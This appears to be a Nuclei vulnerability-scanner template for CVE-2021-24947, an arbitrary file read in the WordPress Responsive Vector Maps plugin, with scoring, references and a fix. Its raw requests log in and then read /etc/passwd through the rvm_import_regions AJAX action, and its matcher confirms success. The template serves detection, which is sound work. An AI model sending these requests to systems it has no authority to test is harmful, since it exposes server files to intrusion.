53 lines
2.0 KiB
YAML
53 lines
2.0 KiB
YAML
id: CVE-2021-24947
|
|
|
|
info:
|
|
name: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read
|
|
author: cckuailong
|
|
severity: medium
|
|
description: WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
|
|
remediation: |
|
|
Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24947
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2021-24947
|
|
cwe-id: CWE-863,CWE-352
|
|
epss-score: 0.00291
|
|
epss-percentile: 0.65701
|
|
cpe: cpe:2.3:a:thinkupthemes:responsive_vector_maps:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: thinkupthemes
|
|
product: responsive_vector_maps
|
|
framework: wordpress
|
|
tags: cve,authenticated,wpscan,cve2021,lfi,wp,wordpress,wp-plugin,lfr
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022078ecbabba77a9ed9ebd0b432d6cbc3ccae20ec8343f70c5e8f117a663bac4443022100c6afd43f0008a4bc866676156dd4d1ef5c30557e92eab320990abc3479a01cd4:922c64590222798bb761d5b6d8e72950 |